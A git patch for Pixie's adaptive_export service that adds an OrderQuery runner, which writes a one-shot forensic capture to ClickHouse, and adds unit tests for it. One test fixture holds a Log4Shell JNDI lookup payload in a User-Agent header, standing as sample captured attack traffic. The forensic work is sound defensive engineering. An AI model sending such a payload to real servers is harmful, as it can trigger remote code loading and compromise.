From 7fc5561b003ca00b83b81ee57f3c44ea9641db59 Mon Sep 17 00:00:00 2001 From: Entlein Date: Sun, 28 Jun 2026 11:12:04 +0200 Subject: [PATCH] =?UTF-8?q?feat(adaptive=5Fexport):=20wire=20the=20/query?= =?UTF-8?q?=20runner=20=E2=80=94=20dx=20OrderQuery=20=E2=86=92=20forensic?= =?UTF-8?q?=20capture=20(dx#93)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The control surface shipped with control.New(activeSet, nil) — '/query runner wired later'. So every dx OrderQuery 501'd and the table dx read for a verdict (e.g. the jndi-in-http) never reached forensic_db unless a kubescape-anomaly window happened to push it. The forensic export steered to noise, not to dx's evidence. Adds Controller.OrderQuery(target, table, window, queryID): a single-shot QueryFor → querier.Query → sink.WritePixieRows (the same path pushPixieRows uses, plus globalSem + reconcile accounting), independent of any anomaly window. Wires control.New(activeSet, ctl) in main.go so POST /query executes it. When the operator-side querier is disabled, OrderQuery errors and /query 502s; start/stop + dx_attack_graph are unaffected. Pairs with entlein/dx#96 which orders the full consulted read-set through this runner. Tests: writes-rows / no-querier-errors / empty-no-write / sink-error. Co-Authored-By: Claude Opus 4.8 (1M context) --- .../services/adaptive_export/cmd/main.go | 8 +- .../internal/controller/controller.go | 61 ++++++++ .../internal/controller/order_query_test.go | 138 ++++++++++++++++++ 3 files changed, 205 insertions(+), 2 deletions(-) create mode 100644 src/vizier/services/adaptive_export/internal/controller/order_query_test.go diff --git a/src/vizier/services/adaptive_export/cmd/main.go b/src/vizier/services/adaptive_export/cmd/main.go index 3f27f18f34d..30db7220f77 100644 --- a/src/vizier/services/adaptive_export/cmd/main.go +++ b/src/vizier/services/adaptive_export/cmd/main.go @@ -573,8 +573,12 @@ func main() { // steers this AE's activeSet (Upsert/Remove) over HTTP. Off by default so // the existing trigger→controller→activeSet flow is unchanged. if addr := os.Getenv("CONTROL_ADDR"); addr != "" { - ctrlSrv := control.New(activeSet, nil) // OrderQuery runner wired later - ctrlSrv.SetGraphWriter(applier) // dx_attack_graph ingest → ClickHouse + // Wire the controller as the /query runner: dx OrderQuery → one-shot pixie + // capture written to forensic_db (write⊇read; entlein/dx#93). When the + // operator-side querier is disabled (no PushPixieTables), OrderQuery returns + // an error and /query 502s — start/stop + dx_attack_graph still work. + ctrlSrv := control.New(activeSet, ctl) + ctrlSrv.SetGraphWriter(applier) // dx_attack_graph ingest → ClickHouse // Bearer-JWT auth on the control surface (CodeRabbit: protect control // endpoints). Same shared lib + signing key the broker/PEM use — dx // attaches the service JWT it already mints. Default-OFF so this can diff --git a/src/vizier/services/adaptive_export/internal/controller/controller.go b/src/vizier/services/adaptive_export/internal/controller/controller.go index 442aef64ca6..9045b843fec 100644 --- a/src/vizier/services/adaptive_export/internal/controller/controller.go +++ b/src/vizier/services/adaptive_export/internal/controller/controller.go @@ -31,6 +31,7 @@ package controller import ( "context" + "errors" "sync" "time" @@ -245,6 +246,66 @@ func (c *Controller) WithPixieQuerier(q PixieQuerier) *Controller { return c } +// OrderQuery runs ONE control-ordered (target, table, window) query and writes the +// result through AE's normal sink — the dx→AE write⊇read path behind the control +// surface's POST /query. Unlike pushPixieRows (one goroutine per kubescape-anomaly +// window, driven by the Trigger), this is a single-shot forensic capture for a +// table dx EXPLICITLY consulted to reach a verdict. It is how the evidence dx read +// — e.g. the jndi-in-http the PEM bench found at triage — lands in forensic_db even +// when no kubescape anomaly opened a window for that pod (entlein/dx#93). Reuses the +// same QueryFor → querier.Query → sink.WritePixieRows path + globalSem + reconcile +// accounting as the anomaly-driven push. Satisfies control.queryRunner. +func (c *Controller) OrderQuery(target anomaly.Target, table string, start, end time.Time, queryID string) error { + if c.querier == nil { + return errors.New("controller: no pixie querier (operator-side push disabled)") + } + now := c.clock.Now() + q, err := pxl.QueryFor(table, target, start, end, now) + if err != nil { + return err + } + // Background ctx with per-op timeouts mirroring pushPixieRows: a control-ordered + // capture must complete independently of any anomaly window's lifecycle. + var readCount, wroteCount int + var recErr string + defer func() { + c.cfg.Rec.Record(context.Background(), reconcile.Row{ + TS: now, Mode: "ordered", Table: table, + Namespace: target.Namespace, Pod: target.Pod, + WinStart: start, WinEnd: end, + ReadCount: int64(readCount), WroteCount: int64(wroteCount), + WriteErr: recErr, Hostname: c.cfg.Hostname, + }) + }() + if c.globalSem != nil { + c.globalSem <- struct{}{} + defer func() { <-c.globalSem }() + } + qctx, cancel := context.WithTimeout(context.Background(), 180*time.Second) + rows, qerr := c.querier.Query(qctx, q) + cancel() + if qerr != nil { + recErr = qerr.Error() + return qerr + } + readCount = len(rows) + if len(rows) == 0 { + return nil // nothing to persist; the read/0-wrote reconcile row still records it + } + wctx, wcancel := context.WithTimeout(context.Background(), 60*time.Second) + werr := c.sink.WritePixieRows(wctx, table, rows) + wcancel() + if werr != nil { + recErr = werr.Error() + return werr + } + wroteCount = len(rows) + log.WithFields(log.Fields{ + "table": table, "rows": len(rows), "pod": target.Pod, "query_id": queryID, + }).Info("ordered pixie rows written to forensic_db (dx→AE /query)") + return nil +} + // Rehydrate populates the in-memory active set from ClickHouse so a // restarted operator picks up where it left off. Idempotent. Call // once at boot before Run. diff --git a/src/vizier/services/adaptive_export/internal/controller/order_query_test.go b/src/vizier/services/adaptive_export/internal/controller/order_query_test.go new file mode 100644 index 00000000000..8ba079c8f13 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/controller/order_query_test.go @@ -0,0 +1,138 @@ +/* + * Copyright 2018- The Pixie Authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * SPDX-License-Identifier: Apache-2.0 + */ + +package controller + +// Tests for Controller.OrderQuery — the dx→AE /query runner (write⊇read, dx#93): +// a one-shot (target, table, window) capture that queries pixie and writes the +// result through the normal sink, independent of any kubescape-anomaly window. + +import ( + "context" + "errors" + "sync" + "testing" + "time" + + "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly" + "px.dev/pixie/src/vizier/services/adaptive_export/internal/sink" +) + +// recordingSink satisfies controller.Sink and records WritePixieRows calls. +type recordingSink struct { + mu sync.Mutex + written map[string]int // table → row count written + werr error +} + +func newRecordingSink() *recordingSink { return &recordingSink{written: map[string]int{}} } + +func (s *recordingSink) Write(context.Context, []sink.AttributionRow) error { return nil } +func (s *recordingSink) QueryActive(context.Context, string) ([]sink.AttributionRow, error) { + return nil, nil +} +func (s *recordingSink) WritePixieRows(_ context.Context, table string, rows []map[string]any) error { + if s.werr != nil { + return s.werr + } + s.mu.Lock() + defer s.mu.Unlock() + s.written[table] += len(rows) + return nil +} +func (s *recordingSink) count(table string) int { + s.mu.Lock() + defer s.mu.Unlock() + return s.written[table] +} + +// stubQuerier returns canned rows (or an error) for any PxL. +type stubQuerier struct { + rows []map[string]any + err error +} + +func (q *stubQuerier) Query(context.Context, string) ([]map[string]any, error) { + return q.rows, q.err +} + +func orderQueryCtl(snk Sink, q PixieQuerier) *Controller { + clk := &fakeClock{t: canonicalEventTime} + c := New(newFakeTrigger(), snk, defaultCfg(), clk) + if q != nil { + c = c.WithPixieQuerier(q) + } + return c +} + +var oqTarget = anomaly.Target{Namespace: "log4j-poc", Pod: "backend-x", Comm: "java"} + +func oqWindow() (time.Time, time.Time) { + return canonicalEventTime.Add(-time.Minute), canonicalEventTime +} + +// A control-ordered query for a table with pixie data writes those rows to the +// sink under that table — this is how the jndi-in-http dx read at triage lands in +// forensic_db even with no kubescape-anomaly window for the pod (dx#93). +func TestOrderQueryWritesRows(t *testing.T) { + snk := newRecordingSink() + q := &stubQuerier{rows: []map[string]any{ + {"req_headers": "User-Agent: ${jndi:ldap://x:1389/a}", "req_path": "/api/products"}, + }} + lo, hi := oqWindow() + if err := orderQueryCtl(snk, q).OrderQuery(oqTarget, "http_events", lo, hi, "qid-1"); err != nil { + t.Fatalf("OrderQuery: %v", err) + } + if got := snk.count("http_events"); got != 1 { + t.Errorf("http_events rows written = %d, want 1", got) + } +} + +// With the operator-side querier disabled, OrderQuery errors (so /query 502s) — +// start/stop + dx_attack_graph remain usable. +func TestOrderQueryNoQuerierErrors(t *testing.T) { + snk := newRecordingSink() + lo, hi := oqWindow() + if err := orderQueryCtl(snk, nil).OrderQuery(oqTarget, "http_events", lo, hi, "qid-2"); err == nil { + t.Error("OrderQuery with no querier should error") + } +} + +// Zero rows → no write, no error (the empty read is still recorded by reconcile). +func TestOrderQueryEmptyNoWrite(t *testing.T) { + snk := newRecordingSink() + lo, hi := oqWindow() + if err := orderQueryCtl(snk, &stubQuerier{rows: nil}).OrderQuery(oqTarget, "conn_stats", lo, hi, "qid-3"); err != nil { + t.Fatalf("OrderQuery empty: %v", err) + } + if got := snk.count("conn_stats"); got != 0 { + t.Errorf("empty result must not write, got %d rows", got) + } +} + +// A sink write failure surfaces as an OrderQuery error (so /query 502s and dx can +// retry) rather than being silently dropped. +func TestOrderQuerySinkErrorSurfaces(t *testing.T) { + snk := newRecordingSink() + snk.werr = errors.New("ch unreachable") + q := &stubQuerier{rows: []map[string]any{{"x": 1}}} + lo, hi := oqWindow() + if err := orderQueryCtl(snk, q).OrderQuery(oqTarget, "http_events", lo, hi, "qid-4"); err == nil { + t.Error("OrderQuery should surface the sink write error") + } +}